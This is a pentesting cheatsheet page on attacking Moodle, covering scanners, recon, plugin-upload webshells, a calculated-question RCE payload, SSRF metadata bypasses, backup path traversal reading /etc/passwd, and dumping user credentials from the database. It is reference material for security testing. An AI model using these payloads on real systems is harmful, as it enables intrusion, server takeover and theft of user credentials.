daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

moodle.md (13254B)


      1 ---
      2 title: "Moodle"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/pentesting-web/moodle.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/moodle.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Moodle
     14 
     15 ## Automatic Scans
     16 
     17 Automatic scanners are primarily useful for fingerprinting. Confirm their version candidates manually, then compare the installed core and plugins with both Moodle's official security announcements and a package-oriented vulnerability tracker such as Snyk.<sup>[[5]](#references)[[7]](#references)</sup>
     18 
     19 ### droopescan
     20 
     21 `droopescan` fingerprints Moodle versions and plugins from exposed files and paths; treat its version candidates as hypotheses to confirm manually.<sup>[[3]](#references)</sup>
     22 
     23 ```bash
     24 pip3 install droopescan
     25 droopescan scan moodle -u http://moodle.example.com/<moodle_path>/
     26 
     27 [+] Plugins found:
     28     forum http://moodle.schooled.htb/moodle/mod/forum/
     29         http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
     30         http://moodle.schooled.htb/moodle/mod/forum/version.php
     31 
     32 [+] No themes found.
     33 
     34 [+] Possible version(s):
     35     3.10.0-beta
     36 
     37 [+] Possible interesting urls found:
     38 Static readme file. - [http://moodle.schooled.htb/moodle/README.txt](http://moodle.schooled.htb/moodle/README.txt)
     39 Admin panel - [http://moodle.schooled.htb/moodle/login/](http://moodle.schooled.htb/moodle/login/)
     40 
     41 [+] Scan finished (0:00:05.643539 elapsed)
     42 ```
     43 
     44 ### moodlescan
     45 
     46 The community `moodlescan` project uses version artifacts and its own vulnerability database; refresh that database before scanning.<sup>[[4]](#references)</sup>
     47 
     48 ```bash
     49 # Install from https://github.com/inc0d3/moodlescan
     50 python3 moodlescan.py -a                    # Refresh vuln/version DB first
     51 python3 moodlescan.py -k -r -u http://moodle.example.com/<moodle_path>/
     52 
     53 Version 0.8 - May/2021
     54 .............................................................................................................
     55 
     56 By Victor Herrera - supported by www.incode.cl
     57 
     58 .............................................................................................................
     59 
     60 Getting server information http://moodle.schooled.htb/moodle/ ...
     61 
     62 server         	: Apache/2.4.46 (FreeBSD) PHP/7.4.15
     63 x-powered-by   	: PHP/7.4.15
     64 x-frame-options	: sameorigin
     65 last-modified  	: Wed, 07 Apr 2021 21:33:41 GMT
     66 
     67 Getting moodle version...
     68 
     69 Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta
     70 
     71 Searching vulnerabilities...
     72 
     73 Vulnerabilities found: 0
     74 
     75 Scan completed.
     76 ```
     77 
     78 ### badmoodle
     79 
     80 ```bash
     81 git clone https://github.com/cyberaz0r/badmoodle
     82 cd badmoodle && pip3 install -r requirements.txt
     83 ./badmoodle.py -u https://moodle.example.com/<moodle_path>/ -l 3 -s -o badmoodle.json
     84 ```
     85 
     86 `badmoodle` is useful when you want more than plain version detection: level 2/3 checks also use 404-page fingerprinting, hash comparison, and plugin/theme enumeration, and the project includes community vulnerability modules.
     87 
     88 ### CMSMap
     89 
     90 ```bash
     91 pip3 install git+https://github.com/dionach/CMSmap.git
     92 cmsmap http://moodle.example.com/<moodle_path>
     93 ```
     94 
     95 ### CVEs
     96 
     97 Automatic tools are mostly useful for **fingerprinting**. They are usually **not enough to prove exploitability** on modern Moodle deployments, so verify findings manually and cross-check the version against Moodle's official security announcements.<sup>[[5]](#references)</sup>
     98 
     99 ## Manual Enumeration
    100 
    101 A lot of Moodle recon still comes from files that should not be world-readable but often are:
    102 
    103 ```bash
    104 curl -sk https://moodle.example.com/<moodle_path>/README.txt
    105 curl -sk https://moodle.example.com/<moodle_path>/lib/upgrade.txt | head
    106 curl -sk https://moodle.example.com/<moodle_path>/composer.lock | head
    107 curl -sk https://moodle.example.com/<moodle_path>/admin/tool/lp/tests/behat/course_competencies.feature | head
    108 curl -sk https://moodle.example.com/<moodle_path>/question/upgrade.txt | head
    109 ```
    110 
    111 Interesting targets during recon:
    112 
    113 - `README.txt`, `lib/upgrade.txt`, `question/upgrade.txt`, `composer.lock`, `composer.json`, and `admin/environment.xml` frequently leak enough metadata to fingerprint the exact branch.
    114 - `tests/behat/*.feature` files can disclose features, plugins, and sometimes a very precise version fingerprint (this is exactly what `moodlescan` abuses).
    115 - Once you know the branch, enumerate only the plugins/themes really present under `/mod/`, `/blocks/`, `/theme/`, `/auth/`, and `/local/` instead of spraying generic Moodle CVEs.
    116 
    117 ## RCE
    118 
    119 ### Plugin upload (manager/admin)
    120 
    121 If your account has the `moodle/site:config` capability and plugin installation is enabled, open **Site administration** and use the plugin installer. The standard Manager role does not necessarily have this capability, so test effective permissions instead of relying only on the displayed role name.<sup>[[6]](#references)</sup>
    122 
    123 ![CVEs - RCE: You need to have manager role and you can install plugins inside the "Site administration" tab](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28630%29.png)
    124 
    125 On older branches, this was sometimes reachable from a teacher account by chaining the course-enrolment privilege escalation into manager permissions and then enabling plugin installation.
    126 
    127 If you can reach the plugin installer, upload a malicious plugin. For example, you can use the following ZIP that contains the classic pentestmonkey PHP reverse shell (decompress it first, change the IP/port, and compress it again):
    128 
    129 [Moodle Rce Plugin.Zip](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/moodle-rce-plugin.zip)
    130 
    131 You can also use [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE) to get a regular PHP shell controlled with the `cmd` parameter.
    132 
    133 After installation, trigger the payload at:
    134 
    135 ```bash
    136 http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
    137 ```
    138 
    139 ### Calculated questions to RCE (authenticated teacher/trainer)
    140 
    141 A much more interesting modern primitive was disclosed in 2024: on vulnerable branches fixed in **4.4.2 / 4.3.6 / 4.2.9 / 4.1.12**, a user who can **create or edit calculated questions** in a quiz can turn the answer formula into code execution.<sup>[[1]](#references)</sup>
    142 
    143 Practical exploitation flow:
    144 
    145 1. Open the quiz editor (`/mod/quiz/edit.php?cmid=<cmid>`) and collect `sesskey`, `courseContextId`, and the question `category`.
    146 2. Create a **calculated** question via `/question/bank/editquestion/question.php`.
    147 3. Set the malicious answer formula, for example:
    148 
    149 ```php
    150 (1)->{system($_GET[chr(97)])}
    151 ```
    152 
    153 4. Continue the wizard (`wizardnow=datasetdefinitions` --> `wizardnow=datasetitems`) until the question is saved.
    154 5. Re-open the question URL and append `&a=id` (or any command) to execute it.
    155 
    156 If Moodle tries to treat `{system($_GET[chr(97)])}` as a wildcard variable, edit the generated `select` element before submitting and force its selected value to `0` so the placeholder is **not** replaced during evaluation. Rapid7 also published a Metasploit module (`exploit/linux/http/moodle_rce`) that automates this flow.
    157 
    158 If you need to build payloads under tighter character restrictions, check [these PHP payload-construction tricks](/hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/overview), as the same research used `acos(2)`, XOR-generated strings, and PHP variable functions to survive Moodle's validation logic.
    159 
    160 ## SSRF
    161 
    162 In 2025, Quarkslab showed that Moodle's URL fetching logic could be abused for **authenticated SSRF** because the host/IP allowlist check and the final `curl_exec()` request do **not** necessarily use the same DNS resolution result. This enables a classic **TOC/TOU DNS-rebinding** bypass of Moodle's IP blocklist.<sup>[[2]](#references)</sup>
    163 
    164 Interesting attacker-controlled entry points mentioned in the research:
    165 
    166 - **Calendar subscriptions** via `calendar/import.php`
    167 - **File picker URL downloader**, where Moodle first fetches an attacker HTML page and then downloads the embedded image URLs
    168 
    169 Practical takeaways:
    170 
    171 - The primitive is especially interesting for reaching `localhost` or internal web apps over **HTTP/HTTPS on ports 80/443**.
    172 - If the Moodle server runs in a cloud environment with **IMDSv1** enabled, SSRF may be enough to steal instance metadata and pivot further. For generic bypasses and cloud pivots, check [the SSRF page](/hacktricks/pentesting-web/ssrf-server-side-request-forgery/overview) and [these cloud SSRF tricks](/hacktricks/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf).
    173 - When testing the file picker path, serving an attacker-controlled HTML page with embedded `img` tags is enough to make Moodle perform the follow-up fetches on your behalf.
    174 
    175 ### IPv4-mapped IPv6 blocklist bypass
    176 
    177 A separate URL-downloader bypass fixed in **5.2.2 / 5.1.6 / 5.0.9 / 4.5.13** abused IPv4-mapped IPv6 literals. Vulnerable versions compared an address such as `::ffff:127.0.0.1` against IPv6 rules without also applying the equivalent IPv4 rule (for example `127.0.0.0/8`). Consequently, the URL downloader could accept a blocked IPv4 destination written in mapped form.<sup>[[5]](#references)[[9]](#references)</sup>
    178 
    179 Try mapped literals anywhere you control a URL-fetching input (especially the file-picker URL downloader):<sup>[[9]](#references)</sup>
    180 
    181 ```bash
    182 # Loopback, RFC1918 and link-local/metadata examples. -g disables curl URL globbing.
    183 curl -g 'http://[::ffff:127.0.0.1]/'
    184 curl -g 'http://[::ffff:10.0.0.10]/'
    185 curl -g 'http://[::ffff:169.254.169.254]/latest/meta-data/'
    186 ```
    187 
    188 This is a representation mismatch, not DNS rebinding: the destination is an IPv6 literal whose last 32 bits encode an IPv4 address. The patch normalizes mapped addresses and tests the unwrapped IPv4 value against exact-address, range, and CIDR block rules.<sup>[[9]](#references)</sup>
    189 
    190 ## Arbitrary File Read
    191 
    192 ### Crafted `.mbz` backup `contenthash` path traversal
    193 
    194 On versions fixed in **5.2.1 / 5.1.5 / 5.0.8 / 4.5.12**, a user who can restore course backups can turn a file record in `files.xml` into a server-side file-read primitive. Moodle used the attacker-controlled `contenthash` both to calculate the path below the extracted backup's `files/` directory and as the final path component, without first requiring a 40-character lowercase SHA-1. Starting the value with `..` therefore escapes the extraction directory; the selected local file is then copied into Moodle's file pool as the restored resource.<sup>[[5]](#references)[[8]](#references)</sup>
    195 
    196 A practical test starts from a legitimate backup containing a downloadable **File** resource, so its file record and activity mappings are already valid:<sup>[[8]](#references)</sup>
    197 
    198 ```bash
    199 file course.mbz
    200 mkdir mbz && bsdtar -xf course.mbz -C mbz
    201 rg -n '<contenthash>' mbz/files.xml
    202 
    203 # Replace the contenthash of the chosen downloadable file record with, for example:
    204 # <contenthash>../../../../../../../../../../../../etc/passwd</contenthash>
    205 
    206 (cd mbz && zip -qr ../crafted.mbz .)
    207 ```
    208 
    209 Upload `crafted.mbz` through `/backup/restorefile.php`, complete the restore, and download the restored File resource. The traversal depth only needs to be large enough to reach the filesystem root. The fixed code rejects every non-empty `contenthash` that does not match `^[a-f0-9]{40}$`; use that invariant as a safe patch check instead of attempting to read a sensitive file.<sup>[[8]](#references)</sup>
    210 
    211 For the underlying PHP object-injection mechanics of the separate serialized `source`/repository-reference bugs, see [PHP deserialization](/hacktricks/pentesting-web/deserialization/overview).<sup>[[5]](#references)</sup>
    212 
    213 ## Post-Exploitation
    214 
    215 ### Find database credentials
    216 
    217 ```bash
    218 find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
    219 ```
    220 
    221 ### Dump credentials from the database
    222 
    223 ```bash
    224 /usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
    225 ```
    226 
    227 
    228 ## References
    229 
    230 - [1] [RedTeam Pentesting - Exploiting a Remote Code Execution Vulnerability in Moodle](https://blog.redteam-pentesting.de/2024/moodle-rce/)
    231 - [2] [Quarkslab - Auditing Moodle's core hunting for logical bugs](https://blog.quarkslab.com/auditing-moodles-core-hunting-for-logical-bugs.html)
    232 - [3] [droopescan project](https://github.com/SamJoan/droopescan)
    233 - [4] [moodlescan project](https://github.com/inc0d3/moodlescan)
    234 - [5] [Moodle - Security announcements](https://moodle.org/security/)
    235 - [6] [MoodleDocs - Installing plugins](https://docs.moodle.org/en/Installing_plugins)
    236 - [7] [Snyk - Moodle package vulnerabilities](https://security.snyk.io/package/composer/moodle%2Fmoodle)
    237 - [8] [Moodle patch - Validate file record data on restore](https://github.com/moodle/moodle/commit/027897e061591f9b3a985a489d053773f8514246)
    238 - [9] [Moodle patch - Treat IPv4-mapped IPv6 addresses as IPv4](https://github.com/moodle/moodle/commit/415dd3776c1e23a77aa07a287a7bd8a1ab44323a)